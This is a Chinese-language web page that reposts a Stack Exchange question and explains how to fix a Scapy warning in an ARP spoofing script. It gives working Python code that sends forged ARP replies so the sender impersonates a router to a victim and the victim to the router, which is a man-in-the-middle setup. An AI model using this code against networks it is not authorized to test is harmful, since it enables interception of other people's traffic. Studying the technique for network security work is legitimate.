You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

使用Scapy实现ARP欺骗时出现目的MAC地址警告的解决方法

修复ARP欺骗脚本的Scapy警告问题

这个警告是因为你只在ARP层指定了hwdst(ARP包的目标硬件地址),但发送ARP包时没有在**以太网帧层(Ether)**指定目的MAC地址。Scapy要求发送is-at类型的ARP包时,必须显式指定以太网层的目标MAC,而非仅在ARP层设置。

具体修复步骤:

  • 将ARP包封装到Ethernet帧中,给Ether()指定dst参数(值为你之前获取到的目标设备MAC地址)
  • 欺骗受害者(冒充路由器)、欺骗路由器(冒充受害者)的两个ARP包都需要做这个封装处理

代码示例对比:

原写法(触发警告):

send(ARP(op=2, pdst=victim_ip, hwdst=victim_mac, psrc=router_ip))
send(ARP(op=2, pdst=router_ip, hwdst=router_mac, psrc=victim_ip))

修复后写法:

from scapy.layers.l2 import Ether, ARP
from scapy.sendrecv import send

# 欺骗受害者:伪装成路由器
send(Ether(dst=victim_mac)/ARP(op=2, pdst=victim_ip, hwdst=victim_mac, psrc=router_ip), verbose=False)
# 欺骗路由器:伪装成受害者
send(Ether(dst=router_mac)/ARP(op=2, pdst=router_ip, hwdst=router_mac, psrc=victim_ip), verbose=False)

关键说明:

  • Ether(dst=目标MAC)明确指定了以太网帧的接收方MAC,满足Scapy对is-at ARP包的发送规范
  • 加上verbose=False可以关闭Scapy的默认输出,让脚本运行更简洁

内容的提问来源于stack exchange,提问作者giaco dev

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.21 01:50:55